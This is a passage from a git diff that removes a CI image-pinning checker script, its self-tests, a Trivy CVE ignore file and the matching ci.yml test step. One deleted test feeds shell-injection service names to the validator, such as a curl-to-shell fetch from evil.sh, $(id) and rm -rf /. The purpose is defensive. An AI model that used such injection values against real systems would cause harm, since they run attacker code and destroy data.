` +\n- 'cannot tell whether it needs scanning',\n- );\n- }\n- const ref = String(image).trim();\n- // Dedupe across files by ref: deploy/docker-compose.yml and\n- // docker-compose.dev.yml pin the same Postgres digest, and scanning\n- // identical bytes twice is pure runner time.\n- if (!bySource.has(ref)) bySource.set(ref, []);\n- bySource.get(ref).push(`${path}:${service}`);\n- }\n- }\n-\n- return [...bySource.entries()]\n- .map(([ref, usedBy]) => ({ ref, usedBy }))\n- .sort((a, b) => a.ref.localeCompare(b.ref));\n-}\n-\n-/** Every ref must be tag + immutable digest. Reports ALL offenders, not the first. */\n-export function assertAllPinnedByDigest(images) {\n- const bad = images.filter((i) => !PINNED_REF.test(i.ref));\n- if (bad.length === 0) return;\n- const lines = bad.map(\n- (i) => ` ${i.ref} (${i.usedBy.join(', ')})`,\n- );\n- throw new Error(\n- 'third-party image(s) are not pinned to an immutable digest:\\n' +\n- `${lines.join('\\n')}\\n` +\n- 'Pin as name:tag@sha256:<64 hex>, e.g.\\n' +\n- ' image: traefik:v3.7.10@sha256:617c253c5d960e257ec153d582cc62f191461baba6863bd6b498ae062d3d5c19\\n' +\n- 'Resolve the digest with: docker buildx imagetools inspect :',\n- );\n-}\n-\n-/**\n- * Refuse to report \"all clear\" over an empty set.\n- *\n- * A scan job that iterates zero images is GREEN, and that green is the most\n- * dangerous output this script can produce: it reads as \"every pin is clean\"\n- * when nothing was examined. Reachable by a compose file that stops resolving,\n- * a rendered document missing its services, or every service gaining a `build:`.\n- */\n-export function assertNonEmpty(images) {\n- if (images.length === 0) {\n- throw new Error(\n- 'no third-party images found in the resolved compose document(s). ' +\n- 'Either the render is wrong (did the caller pass --profile \\'*\\'?) or ' +\n- 'this check is now scanning nothing while reporting success — fix it, ' +\n- 'do not delete it.',\n- );\n- }\n-}\n-\n-/**\n- * Every profile the source DECLARES must be represented in the render.\n- *\n- * `docker compose config --profiles` lists the profiles a file declares\n- * regardless of which are enabled, and the resolved document records each\n- * service's own `profiles`. So a profile that is declared but carried by no\n- * rendered service means services behind it were filtered out — which is\n- * exactly the \"render silently dropped `traefik`\" failure, detected without\n- * reading a byte of YAML ourselves.\n- *\n- * Sound in both directions that matter: a service listing several profiles is\n- * included when ANY of them is enabled, and it still reports all of them, so\n- * enabling one does not falsely fail the others.\n- */\n-export function assertProfilesFullyRendered(bundles) {\n- const problems = [];\n-\n- for (const { source, declaredProfiles, config } of bundles) {\n- const rendered = new Set();\n- for (const spec of Object.values(config?.services ?? {})) {\n- for (const p of (spec && typeof spec === 'object' && spec.profiles) || []) {\n- rendered.add(String(p));\n- }\n- }\n- const missing = declaredProfiles.filter((p) => !rendered.has(p));\n- if (missing.length > 0) {\n- problems.push(\n- `${source}: declares profile(s) ${missing.map((p) => `\"${p}\"`).join(', ')} that no ` +\n- 'rendered service carries, so services behind them were filtered out of the render',\n- );\n- }\n- }\n-\n- if (problems.length === 0) return;\n- throw new Error(\n- `${problems.join('\\n ')}\\n` +\n- \"Render with --profile '*'. A profile-gated service is omitted SILENTLY, and its \" +\n- 'pin would go unscanned while this check reported success.',\n- );\n-}\n-\n-export function formatMatrix(images) {\n- // One matrix entry per image. `name` is what shows in the Actions UI, so it\n- // has to identify the image without the 71-character digest.\n- return JSON.stringify(\n- images.map((i) => ({\n- ref: i.ref,\n- name: i.ref.replace(/@sha256:[0-9a-f]{64}$/, ''),\n- usedBy: i.usedBy.join(', '),\n- })),\n- );\n-}\n-\n-/**\n- * Validate one bundle's shape before trusting anything in it.\n- *\n- * Strict, because every field is load-bearing: `source` labels findings,\n- * `declaredProfiles` is half of the completeness check, and `config` is the\n- * scan set. A missing or wrong-typed field must refuse, never default — a\n- * `declaredProfiles` that quietly became `[]` turns the profile check into a\n- * no-op that still reports success.\n- */\n-export function parseBundle(path, raw) {\n- let bundle;\n- try {\n- bundle = JSON.parse(raw);\n- } catch (cause) {\n- throw new Error(`${path}: not valid JSON (${cause.message})`);\n- }\n- if (bundle === null || typeof bundle !== 'object' || Array.isArray(bundle)) {\n- throw new Error(`${path}: bundle is not an object`);\n- }\n- if (typeof bundle.source !== 'string' || bundle.source.trim() === '') {\n- throw new Error(`${path}: bundle has no \"source\" compose-file path`);\n- }\n- if (!Array.isArray(bundle.declaredProfiles)) {\n- throw new Error(\n- `${path}: bundle has no \"declaredProfiles\" array. It comes from ` +\n- '`docker compose config --profiles` and is what detects a render that ' +\n- 'silently dropped profile-gated services — an absent one is not an empty one.',\n- );\n- }\n- if (bundle.declaredProfiles.some((p) => typeof p !== 'string')) {\n- throw new Error(`${path}: \"declaredProfiles\" contains a non-string entry`);\n- }\n- if (bundle.config === null || typeof bundle.config !== 'object') {\n- throw new Error(`${path}: bundle has no \"config\" object`);\n- }\n- return {\n- source: bundle.source,\n- declaredProfiles: bundle.declaredProfiles,\n- config: bundle.config,\n- };\n-}\n-\n-export function run(argv, { readFile }) {\n- const paths = [];\n- let format = 'list';\n-\n- for (let i = 0; i < argv.length; i++) {\n- const arg = argv[i];\n- if (arg === '--format') {\n- format = argv[++i];\n- if (format !== 'list' && format !== 'matrix') {\n- throw new Error(`unknown --format \"${format}\" (expected list|matrix)`);\n- }\n- } else if (arg.startsWith('--')) {\n- throw new Error(`unknown option \"${arg}\"`);\n- } else {\n- paths.push(arg);\n- }\n- }\n-\n- if (paths.length === 0) {\n- throw new Error('usage: compose-images.mjs [--format list|matrix] ...');\n- }\n-\n- const bundles = paths.map((path) => {\n- let raw;\n- try {\n- raw = readFile(path);\n- } catch (cause) {\n- throw new Error(`${path}: cannot read (${cause.message})`);\n- }\n- return parseBundle(path, raw);\n- });\n-\n- assertProfilesFullyRendered(bundles);\n-\n- // Labelled by the SOURCE compose file, so a failing scan tells a reader\n- // `deploy/docker-compose.yml:traefik` rather than the temp file the render\n- // happened to land in.\n- const documents = bundles.map((b) => ({ path: b.source, config: b.config }));\n- const images = collectThirdPartyImages(documents);\n- assertNonEmpty(images);\n- assertAllPinnedByDigest(images);\n-\n- return format === 'matrix'\n- ? formatMatrix(images)\n- : images.map((i) => i.ref).join('\\n');\n-}\n-\n-// Only run when invoked directly, so the test file can import the pieces.\n-if (process.argv[1] && import.meta.url === `file://${process.argv[1]}`) {\n- const { readFileSync } = await import('node:fs');\n- try {\n- console.log(run(process.argv.slice(2), { readFile: (p) => readFileSync(p, 'utf8') }));\n- } catch (error) {\n- console.error(`compose-images: ${error.message}`);\n- process.exit(1);\n- }\n-}\ndiff --git a/.github/scripts/compose-images.test.mjs b/.github/scripts/compose-images.test.mjs\ndeleted file mode 100644\nindex d92f1a82d191ae94422da51b2061c5a55bc6773f..0000000000000000000000000000000000000000\n--- a/.github/scripts/compose-images.test.mjs\n+++ /dev/null\n@@ -1,427 +0,0 @@\n-// Self-tests for the third-party image enumerator (#369). Run with\n-// `node --test .github/scripts/compose-images.test.mjs`.\n-//\n-// The load-bearing cases are the ones that MUST refuse: a mutable tag, a\n-// bare digest with no tag, and — the one this whole change exists because of —\n-// an empty result set reporting success. A scan job over zero images is green,\n-// and that green reads as \"every pin is clean\" when nothing was examined.\n-\n-import test from \"node:test\";\n-import assert from \"node:assert/strict\";\n-import {\n- collectThirdPartyImages,\n- assertAllPinnedByDigest,\n- assertNonEmpty,\n- assertProfilesFullyRendered,\n- parseBundle,\n- formatMatrix,\n- run,\n-} from \"./compose-images.mjs\";\n-\n-const DIGEST = \"sha256:617c253c5d960e257ec153d582cc62f191461baba6863bd6b498ae062d3d5c19\";\n-const PG_DIGEST = \"sha256:3a82e1f56c8f0f5616a11103ac3d47e632c3938698946a7ad26da0df1334744a\";\n-\n-const doc = (services, path = \"compose.json\") => ({ path, config: { services } });\n-\n-// --- what counts as third-party -----------------------------------------\n-\n-test(\"a service with build: is first-party and is skipped\", () => {\n- const images = collectThirdPartyImages([\n- doc({\n- app: { build: { context: \"..\" } },\n- db: { image: `postgres:18.4-trixie@${PG_DIGEST}` },\n- }),\n- ]);\n- assert.deepEqual(images.map((i) => i.ref), [`postgres:18.4-trixie@${PG_DIGEST}`]);\n-});\n-\n-test(\"build: wins even when the service also names an image\", () => {\n- // Compose lets `image:` name the BUILD OUTPUT. Keying off `image` presence\n- // would misclassify a locally built service as third-party and try to pull it.\n- const images = collectThirdPartyImages([\n- doc({ app: { build: { context: \"..\" }, image: \"cluckwork-api:local\" } }),\n- ]);\n- assert.deepEqual(images, []);\n-});\n-\n-test(\"a service with neither build nor image throws rather than being ignored\", () => {\n- assert.throws(\n- () => collectThirdPartyImages([doc({ mystery: { ports: [\"80:80\"] } })]),\n- /service \"mystery\" has neither \"build\" nor \"image\"/,\n- );\n-});\n-\n-test(\"a blank image string is not silently treated as absent\", () => {\n- assert.throws(\n- () => collectThirdPartyImages([doc({ db: { image: \" \" } })]),\n- /neither \"build\" nor \"image\"/,\n- );\n-});\n-\n-// --- malformed input fails closed ---------------------------------------\n-\n-test(\"a document with no services key throws\", () => {\n- assert.throws(\n- () => collectThirdPartyImages([{ path: \"c.json\", config: {} }]),\n- /has no \"services\" key/,\n- );\n-});\n-\n-test(\"services rendered as an array throws\", () => {\n- assert.throws(\n- () => collectThirdPartyImages([{ path: \"c.json\", config: { services: [] } }]),\n- /\"services\" is not an object/,\n- );\n-});\n-\n-test(\"a null service spec throws\", () => {\n- assert.throws(\n- () => collectThirdPartyImages([doc({ db: null })]),\n- /service \"db\" is not an object/,\n- );\n-});\n-\n-// --- the service name is passed downstream, so it is constrained -----------\n-\n-test(\"a service name with shell metacharacters is refused\", () => {\n- // It reaches an Actions matrix and a log line, and on a fork pull_request the\n- // compose file is contributor-controlled. Compose would reject these itself;\n- // this refuses to be the layer that relies on that.\n- for (const name of ['db\"; curl evil.sh |sh; #', \"db $(id)\", \"db`id`\", \"db\\nrm -rf /\", \"db'\"]) {\n- assert.throws(\n- () => collectThirdPartyImages([doc({ [name]: { image: `postgres:18@${PG_DIGEST}` } })]),\n- /outside compose's own \\[A-Za-z0-9\\._-\\]\\+ grammar/,\n- `expected ${JSON.stringify(name)} to be refused`,\n- );\n- }\n-});\n-\n-test(\"ordinary compose service names are accepted\", () => {\n- for (const name of [\"db\", \"otel-collector\", \"app_1\", \"web.edge\"]) {\n- assert.doesNotThrow(() =>\n- collectThirdPartyImages([doc({ [name]: { image: `postgres:18@${PG_DIGEST}` } })]),\n- );\n- }\n-});\n-\n-// --- dedupe across files -------------------------------------------------\n-\n-test(\"the same digest pinned in two files is scanned once, crediting both\", () => {\n- const images = collectThirdPartyImages([\n- doc({ db: { image: `postgres:18.4-trixie@${PG_DIGEST}` } }, \"prod.json\"),\n- doc({ db: { image: `postgres:18.4-trixie@${PG_DIGEST}` } }, \"dev.json\"),\n- ]);\n- assert.equal(images.length, 1);\n- assert.deepEqual(images[0].usedBy, [\"prod.json:db\", \"dev.json:db\"]);\n-});\n-\n-test(\"different digests of the same repository are distinct images\", () => {\n- const images = collectThirdPartyImages([\n- doc({\n- a: { image: `postgres:18.4-trixie@${PG_DIGEST}` },\n- b: { image: `postgres:18.4-trixie@${DIGEST}` },\n- }),\n- ]);\n- assert.equal(images.length, 2);\n-});\n-\n-// --- the pin gate --------------------------------------------------------\n-\n-test(\"tag + digest passes\", () => {\n- assert.doesNotThrow(() =>\n- assertAllPinnedByDigest([\n- { ref: `traefik:v3.7.10@${DIGEST}`, usedBy: [\"c.json:traefik\"] },\n- { ref: `ghcr.io/owner/repo:v1.2.3@${DIGEST}`, usedBy: [\"c.json:x\"] },\n- { ref: `registry.example.com:5000/team/app:2026-08-01@${DIGEST}`, usedBy: [\"c.json:y\"] },\n- ]),\n- );\n-});\n-\n-test(\"a mutable tag with no digest is rejected — the #369 defect itself\", () => {\n- assert.throws(\n- () => assertAllPinnedByDigest([{ ref: \"traefik:v3.5\", usedBy: [\"deploy/docker-compose.yml:traefik\"] }]),\n- /not pinned to an immutable digest[\\s\\S]*traefik:v3\\.5[\\s\\S]*deploy\\/docker-compose\\.yml:traefik/,\n- );\n-});\n-\n-test(\"a bare repository name with no tag at all is rejected\", () => {\n- assert.throws(\n- () => assertAllPinnedByDigest([{ ref: \"traefik\", usedBy: [\"c.json:traefik\"] }]),\n- /not pinned to an immutable digest/,\n- );\n-});\n-\n-test(\"a digest with no tag is rejected — reviewable staleness is the point\", () => {\n- // `traefik@sha256:...` IS immutable, so it is tempting to accept. It is\n- // rejected because a reader cannot tell a digest from last week from one from\n- // eight months ago, which is exactly how v3.5 survived unnoticed.\n- assert.throws(\n- () => assertAllPinnedByDigest([{ ref: `traefik@${DIGEST}`, usedBy: [\"c.json:traefik\"] }]),\n- /not pinned to an immutable digest/,\n- );\n-});\n-\n-test(\"a truncated or non-hex digest is rejected\", () => {\n- for (const ref of [\n- \"traefik:v3.7.10@sha256:617c253c\",\n- `traefik:v3.7.10@sha512:${\"a\".repeat(64)}`,\n- `traefik:v3.7.10@sha256:${\"g\".repeat(64)}`,\n- `traefik:v3.7.10@sha256:${\"a\".repeat(63)}`,\n- ]) {\n- assert.throws(\n- () => assertAllPinnedByDigest([{ ref, usedBy: [\"c.json:traefik\"] }]),\n- /not pinned to an immutable digest/,\n- `expected ${ref} to be rejected`,\n- );\n- }\n-});\n-\n-test(\"every offender is reported, not just the first\", () => {\n- assert.throws(\n- () =>\n- assertAllPinnedByDigest([\n- { ref: \"traefik:v3.5\", usedBy: [\"c.json:traefik\"] },\n- { ref: \"postgres:18\", usedBy: [\"c.json:db\"] },\n- ]),\n- /traefik:v3\\.5[\\s\\S]*postgres:18/,\n- );\n-});\n-\n-// --- the empty-set backstop ---------------------------------------------\n-\n-test(\"an empty image set throws instead of reporting a clean scan\", () => {\n- assert.throws(() => assertNonEmpty([]), /no third-party images found/);\n-});\n-\n-test(\"the empty-set message names the wildcard profile, the likeliest cause\", () => {\n- assert.throws(() => assertNonEmpty([]), /--profile/);\n-});\n-\n-test(\"a compose document of only built services yields nothing and therefore throws\", () => {\n- // End-to-end of the dangerous shape: the document is perfectly well-formed,\n- // so nothing upstream errors — the scan simply covers zero images.\n- const images = collectThirdPartyImages([\n- doc({ app: { build: { context: \"..\" } }, migrate: { build: { context: \"..\" } } }),\n- ]);\n- assert.deepEqual(images, []);\n- assert.throws(() => assertNonEmpty(images), /no third-party images found/);\n-});\n-\n-// --- the render-completeness check ---------------------------------------\n-//\n-// This section exists because the check WITHOUT it was verified to pass while\n-// missing a service: rendering deploy/docker-compose.yml with no `--profile '*'`\n-// drops the profile-gated traefik and exits 0 on Postgres alone.\n-//\n-// It replaced a COUNT comparison between source text and render, which PR #379\n-// review showed was unsound. The last test here is that exact scenario.\n-\n-const bundle = (source, declaredProfiles, services) => ({ source, declaredProfiles, config: { services } });\n-\n-test(\"no declared profiles means nothing to verify\", () => {\n- assert.doesNotThrow(() =>\n- assertProfilesFullyRendered([bundle(\"dev.yml\", [], { db: { image: \"postgres:18\" } })]),\n- );\n-});\n-\n-test(\"a declared profile carried by a rendered service passes\", () => {\n- assert.doesNotThrow(() =>\n- assertProfilesFullyRendered([\n- bundle(\"prod.yml\", [\"prod\"], {\n- db: { image: \"postgres:18\" },\n- traefik: { image: \"traefik:v3.7.10\", profiles: [\"prod\"] },\n- }),\n- ]),\n- );\n-});\n-\n-test(\"a declared profile no rendered service carries is refused\", () => {\n- // The real failure: `--profile '*'` omitted, so traefik is simply gone.\n- assert.throws(\n- () => assertProfilesFullyRendered([bundle(\"prod.yml\", [\"prod\"], { db: { image: \"postgres:18\" } })]),\n- /prod\\.yml: declares profile\$s\$ \"prod\" that no rendered service carries[\\s\\S]*--profile/,\n- );\n-});\n-\n-test(\"every missing profile is named, across every file\", () => {\n- assert.throws(\n- () =>\n- assertProfilesFullyRendered([\n- bundle(\"a.yml\", [\"prod\", \"debug\"], { db: { image: \"postgres:18\" } }),\n- bundle(\"b.yml\", [\"extras\"], { db: { image: \"postgres:18\" } }),\n- ]),\n- /a\\.yml[\\s\\S]*\"prod\", \"debug\"[\\s\\S]*b\\.yml[\\s\\S]*\"extras\"/,\n- );\n-});\n-\n-test(\"a service listing several profiles satisfies all of them\", () => {\n- // Compose includes a service when ANY of its profiles is enabled, and the\n- // render still reports the whole list — so enabling one must not fail the rest.\n- assert.doesNotThrow(() =>\n- assertProfilesFullyRendered([\n- bundle(\"c.yml\", [\"prod\", \"edge\"], { traefik: { image: \"traefik:v3\", profiles: [\"prod\", \"edge\"] } }),\n- ]),\n- );\n-});\n-\n-test(\"REGRESSION: a drop-and-add that a COUNT check would have missed\", () => {\n- // Codex's scenario on PR #379. The old guard compared how many `image:`\n- // declarations the source text had against how many the render had. An\n- // inline mapping (`db: {image: …}`) was invisible to the source-side regex,\n- // so its undercount CANCELLED a genuinely dropped profile-gated service and\n- // the counts agreed. Counting cannot distinguish \"one dropped\" from \"one\n- // dropped and one gained\"; profile coverage does not count at all.\n- assert.throws(\n- () =>\n- assertProfilesFullyRendered([\n- bundle(\"prod.yml\", [\"prod\"], { db: { image: \"postgres:18\" }, extra: { image: \"redis:7\" } }),\n- ]),\n- /declares profile\$s\$ \"prod\" that no rendered service carries/,\n- );\n-});\n-\n-// --- bundle shape fails closed -------------------------------------------\n-\n-test(\"a bundle missing declaredProfiles is refused, not defaulted to empty\", () => {\n- // Defaulting would silently turn the profile check into a no-op that still\n- // reports success — the exact class of false green this file guards against.\n- assert.throws(\n- () => parseBundle(\"b.json\", JSON.stringify({ source: \"a.yml\", config: { services: {} } })),\n- /has no \"declaredProfiles\" array[\\s\\S]*an absent one is not an empty one/,\n- );\n-});\n-\n-test(\"a bundle missing source or config is refused\", () => {\n- assert.throws(\n- () => parseBundle(\"b.json\", JSON.stringify({ declaredProfiles: [], config: {} })),\n- /has no \"source\" compose-file path/,\n- );\n- assert.throws(\n- () => parseBundle(\"b.json\", JSON.stringify({ source: \"a.yml\", declaredProfiles: [] })),\n- /has no \"config\" object/,\n- );\n-});\n-\n-test(\"declaredProfiles with a non-string entry is refused\", () => {\n- assert.throws(\n- () =>\n- parseBundle(\"b.json\", JSON.stringify({ source: \"a.yml\", declaredProfiles: [1], config: {} })),\n- /contains a non-string entry/,\n- );\n-});\n-\n-test(\"a non-object bundle is refused\", () => {\n- assert.throws(() => parseBundle(\"b.json\", \"[]\"), /bundle is not an object/);\n- assert.throws(() => parseBundle(\"b.json\", \"null\"), /bundle is not an object/);\n-});\n-\n-test(\"parseBundle names the file that was not JSON\", () => {\n- assert.throws(() => parseBundle(\"b.json\", \"services:\\n\"), /b\\.json: not valid JSON/);\n-});\n-\n-// --- matrix output -------------------------------------------------------\n-\n-test(\"the matrix strips the digest from the display name but not the ref\", () => {\n- const matrix = JSON.parse(\n- formatMatrix([{ ref: `traefik:v3.7.10@${DIGEST}`, usedBy: [\"c.json:traefik\"] }]),\n- );\n- assert.deepEqual(matrix, [\n- { ref: `traefik:v3.7.10@${DIGEST}`, name: \"traefik:v3.7.10\", usedBy: \"c.json:traefik\" },\n- ]);\n-});\n-\n-test(\"the matrix is valid JSON for fromJSON() even with several images\", () => {\n- const out = formatMatrix([\n- { ref: `postgres:18.4-trixie@${PG_DIGEST}`, usedBy: [\"a:db\"] },\n- { ref: `traefik:v3.7.10@${DIGEST}`, usedBy: [\"a:traefik\"] },\n- ]);\n- assert.equal(JSON.parse(out).length, 2);\n- assert.ok(!out.includes(\"\\n\"), \"matrix must be a single line for GITHUB_OUTPUT\");\n-});\n-\n-// --- the CLI wrapper -----------------------------------------------------\n-\n-const files = (map) => ({\n- readFile: (p) => {\n- if (!(p in map)) throw new Error(\"ENOENT\");\n- return map[p];\n- },\n-});\n-\n-const bundleFile = (source, declaredProfiles, services) =>\n- JSON.stringify({ source, declaredProfiles, config: { services } });\n-\n-test(\"run() lists refs one per line\", () => {\n- const out = run([\"b.json\"], files({\n- \"b.json\": bundleFile(\"deploy/docker-compose.yml\", [], {\n- app: { build: {} },\n- traefik: { image: `traefik:v3.7.10@${DIGEST}` },\n- }),\n- }));\n- assert.equal(out, `traefik:v3.7.10@${DIGEST}`);\n-});\n-\n-test(\"run() reads several bundles and dedupes\", () => {\n- const body = bundleFile(\"x.yml\", [], { db: { image: `postgres:18.4-trixie@${PG_DIGEST}` } });\n- const out = run([\"a.json\", \"b.json\"], files({ \"a.json\": body, \"b.json\": body }));\n- assert.equal(out.split(\"\\n\").length, 1);\n-});\n-\n-test(\"run() with no paths explains itself\", () => {\n- assert.throws(() => run([], files({})), /usage: compose-images\\.mjs/);\n-});\n-\n-test(\"run() rejects an unknown option rather than treating it as a path\", () => {\n- assert.throws(() => run([\"--json\", \"b.json\"], files({})), /unknown option \"--json\"/);\n-});\n-\n-test(\"run() rejects an unknown --format\", () => {\n- assert.throws(() => run([\"--format\", \"yaml\", \"b.json\"], files({})), /unknown --format \"yaml\"/);\n-});\n-\n-test(\"run() names the file it could not read\", () => {\n- assert.throws(() => run([\"missing.json\"], files({})), /missing\\.json: cannot read/);\n-});\n-\n-test(\"run() names the file that was not JSON\", () => {\n- assert.throws(\n- () => run([\"b.json\"], files({ \"b.json\": \"services:\\n db:\\n\" })),\n- /b\\.json: not valid JSON/,\n- );\n-});\n-\n-test(\"run() fails on a mutable pin end-to-end\", () => {\n- assert.throws(\n- () =>\n- run([\"b.json\"], files({\n- \"b.json\": bundleFile(\"deploy/docker-compose.yml\", [], { traefik: { image: \"traefik:v3.5\" } }),\n- })),\n- /not pinned to an immutable digest[\\s\\S]*deploy\\/docker-compose\\.yml:traefik/,\n- );\n-});\n-\n-test(\"run() refuses a render that dropped profile-gated services, end-to-end\", () => {\n- assert.throws(\n- () =>\n- run([\"b.json\"], files({\n- \"b.json\": bundleFile(\"deploy/docker-compose.yml\", [\"prod\"], {\n- db: { image: `postgres:18.4-trixie@${PG_DIGEST}` },\n- }),\n- })),\n- /declares profile\$s\$ \"prod\" that no rendered service carries/,\n- );\n-});\n-\n-test(\"run() labels findings by the SOURCE compose file, not the bundle path\", () => {\n- // The whole reason the source travels in the bundle: a failing scan must tell\n- // a reader where to go and edit, which is never /tmp/....json.\n- assert.throws(\n- () =>\n- run([\"/tmp/render/xyz.json\"], files({\n- \"/tmp/render/xyz.json\": bundleFile(\"deploy/docker-compose.yml\", [], {\n- traefik: { image: \"traefik:v3.5\" },\n- }),\n- })),\n- /deploy\\/docker-compose\\.yml:traefik/,\n- );\n-});\ndiff --git a/.github/trivyignore.yaml b/.github/trivyignore.yaml\ndeleted file mode 100644\nindex 205f56b974fd5f47db2f6826dfa38f1c76fe4595..0000000000000000000000000000000000000000\n--- a/.github/trivyignore.yaml\n+++ /dev/null\n@@ -1,107 +0,0 @@\n-# Trivy ignore file for the THIRD-PARTY image scan (#369).\n-#\n-# Same escape hatch, same rules, as .github/security-exceptions.json is for the\n-# NuGet/npm gates: an entry mutes one finding until a REQUIRED calendar date,\n-# and past that date it blocks again. Reach for it only when there is no fixed\n-# version to move to. It is scoped to the third-party image scan in ci.yml and\n-# image-audit.yml — the application image's own scan does not read it, so\n-# nothing here can ever mask a finding in bytes this repo builds.\n-#\n-# ================== WHY THIS FILE EXISTS AT ALL ==================\n-#\n-# `ignore-unfixed: true` asks \"does the PACKAGE have a fix?\", but the actionable\n-# unit for an image pin is the IMAGE. Those come apart when upstream has not yet\n-# rebuilt with a patched dependency: Trivy reports the finding as fixable, we\n-# have nothing to bump to, and a blocking gate wedges every unrelated PR\n-# indefinitely — the exact outcome ci.yml's own Trivy comment says to avoid.\n-#\n-# The alternative — demoting the whole third-party scan to advisory — was\n-# rejected. It would also stop blocking the case this gate exists for: a pin\n-# that IS stale and DOES have a fixed image, which is #369 itself (`traefik:v3.5`\n-# scanned 57 fixable HIGH/CRITICAL while v3.7.10 scanned 0).\n-#\n-# An entry expiring is not a failure of this file; it is the file working. On\n-# that date the finding blocks again, and the question \"has upstream rebuilt\n-# yet?\" gets asked by CI instead of by nobody.\n-\n-vulnerabilities:\n- # ---------------------------------------------------------------------------\n- # postgres:18-trixie ships /usr/local/bin/gosu, a Go binary used once at\n- # container start to drop from root to the postgres user. It is statically\n- # linked against Go 1.24.6, so Trivy attributes every Go stdlib advisory since\n- # to it — 15 HIGH/CRITICAL as of 2026-08-02.\n- #\n- # There is nothing to move to. The pinned digest IS the newest published\n- # postgres trixie image (18.4-trixie / 18-trixie, both\n- # sha256:3a82e1f5…, pushed 2026-07-19); upstream has not rebuilt gosu. Verified\n- # by scanning the tag directly, not assumed.\n- #\n- # Scoped to that one path, so this mutes findings in gosu and nowhere else in\n- # the image — a Postgres or OpenSSL advisory in the same image still blocks.\n- # Listed per CVE rather than by wildcard deliberately: a NEW gosu finding is\n- # not covered and will go red, which forces someone to look rather than\n- # inheriting a permanent blanket exemption.\n- #\n- # Exit criteria: upstream rebuilds the image with a current Go toolchain, at\n- # which point Dependabot's docker-compose ecosystem opens the digest bump and\n- # every entry below can be deleted in that PR.\n- - id: CVE-2025-68121\n- paths: [\"usr/local/bin/gosu\"]\n- statement: \"Go stdlib in postgres's gosu helper; no rebuilt upstream image exists. See header.\"\n- expired_at: 2026-11-01\n- - id: CVE-2025-61726\n- paths: [\"usr/local/bin/gosu\"]\n- statement: \"Go stdlib in postgres's gosu helper; no rebuilt upstream image exists. See header.\"\n- expired_at: 2026-11-01\n- - id: CVE-2025-61729\n- paths: [\"usr/local/bin/gosu\"]\n- statement: \"Go stdlib in postgres's gosu helper; no rebuilt upstream image exists. See header.\"\n- expired_at: 2026-11-01\n- - id: CVE-2026-25679\n- paths: [\"usr/local/bin/gosu\"]\n- statement: \"Go stdlib in postgres's gosu helper; no rebuilt upstream image exists. See header.\"\n- expired_at: 2026-11-01\n- - id: CVE-2026-27145\n- paths: [\"usr/local/bin/gosu\"]\n- statement: \"Go stdlib in postgres's gosu helper; no rebuilt upstream image exists. See header.\"\n- expired_at: 2026-11-01\n- - id: CVE-2026-32280\n- paths: [\"usr/local/bin/gosu\"]\n- statement: \"Go stdlib in postgres's gosu helper; no rebuilt upstream image exists. See header.\"\n- expired_at: 2026-11-01\n- - id: CVE-2026-32281\n- paths: [\"usr/local/bin/gosu\"]\n- statement: \"Go stdlib in postgres's gosu helper; no rebuilt upstream image exists. See header.\"\n- expired_at: 2026-11-01\n- - id: CVE-2026-32283\n- paths: [\"usr/local/bin/gosu\"]\n- statement: \"Go stdlib in postgres's gosu helper; no rebuilt upstream image exists. See header.\"\n- expired_at: 2026-11-01\n- - id: CVE-2026-33811\n- paths: [\"usr/local/bin/gosu\"]\n- statement: \"Go stdlib in postgres's gosu helper; no rebuilt upstream image exists. See header.\"\n- expired_at: 2026-11-01\n- - id: CVE-2026-33814\n- paths: [\"usr/local/bin/gosu\"]\n- statement: \"Go stdlib in postgres's gosu helper; no rebuilt upstream image exists. See header.\"\n- expired_at: 2026-11-01\n- - id: CVE-2026-39820\n- paths: [\"usr/local/bin/gosu\"]\n- statement: \"Go stdlib in postgres's gosu helper; no rebuilt upstream image exists. See header.\"\n- expired_at: 2026-11-01\n- - id: CVE-2026-39822\n- paths: [\"usr/local/bin/gosu\"]\n- statement: \"Go stdlib in postgres's gosu helper; no rebuilt upstream image exists. See header.\"\n- expired_at: 2026-11-01\n- - id: CVE-2026-39836\n- paths: [\"usr/local/bin/gosu\"]\n- statement: \"Go stdlib in postgres's gosu helper; no rebuilt upstream image exists. See header.\"\n- expired_at: 2026-11-01\n- - id: CVE-2026-42499\n- paths: [\"usr/local/bin/gosu\"]\n- statement: \"Go stdlib in postgres's gosu helper; no rebuilt upstream image exists. See header.\"\n- expired_at: 2026-11-01\n- - id: CVE-2026-42504\n- paths: [\"usr/local/bin/gosu\"]\n- statement: \"Go stdlib in postgres's gosu helper; no rebuilt upstream image exists. See header.\"\n- expired_at: 2026-11-01\ndiff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml\nindex a0243d37fe557321af92352e8ea33b1109fc3b62..346c2252c60734702aaf7090a80e7506be561e7f 100644\n--- a/.github/workflows/ci.yml\n+++ b/.github/workflows/ci.yml\n@@ -84,56 +84,50 @@ jobs:\n \n steps:\n - name: Check out repository\n uses: actions/checkout@v7\n with:\n ref: ${{ github.event_name == 'workflow_dispatch' && inputs.sha || '' }}\n \n - name: Setup Node\n uses: actions/setup-node@v7\n with:\n node-version: 26\n cache: npm\n # Resolved from the repo root — setup-node ignores defaults.run.working-directory.\n cache-dependency-path: web/package-lock.json\n \n # The gate ships with its own node:test self-tests; run them before trusting\n # its verdict. No app toolchain needed — pure Node, so it runs before npm ci.\n # Referenced via ../ from the job's web working-directory; node:test imports\n # are relative to the test file, so the cwd doesn't matter.\n - name: Test the vulnerability gate\n run: node --test ../.github/scripts/vuln-gate.test.mjs\n \n - name: Test the lockfix classifier\n run: node --test ../.github/scripts/lockfix.test.mjs\n \n- # #369 — this one decides WHICH images the third-party scan covers, so a\n- # defect in it does not produce a red run, it produces a green one over a\n- # smaller set. Its own tests are the only thing that catches that.\n- - name: Test the third-party image enumerator\n- run: node --test ../.github/scripts/compose-images.test.mjs\n-\n - name: Install dependencies\n run: npm ci\n \n # BLOCKING gate (#146) on PRODUCTION dependencies: shipped code carries no\n # known high+ advisory. `--omit=dev` scopes it to what reaches the browser.\n #\n # `npm audit` exits non-zero whenever it finds ANY vulnerability, at any\n # severity. Under Actions' default `pipefail`, piping it straight into the\n # gate would let npm's exit — not the gate's threshold — decide the step, so\n # a below-high advisory would wrongly fail it. Capture to a file (`|| true`\n # drops npm's exit) and let the gate be the sole arbiter.\n # `--exceptions ../…`: this job runs from `web/`, so the gate's default\n # (repo-root) exceptions path would resolve to a nonexistent\n # `web/.github/…` and silently drop every npm exception — leaving an\n # excepted advisory blocking anyway (#146 review). Point it at the real file.\n - name: Audit prod npm dependencies (high+, blocking)\n run: |\n npm audit --omit=dev --json > npm-audit-prod.json || true\n node 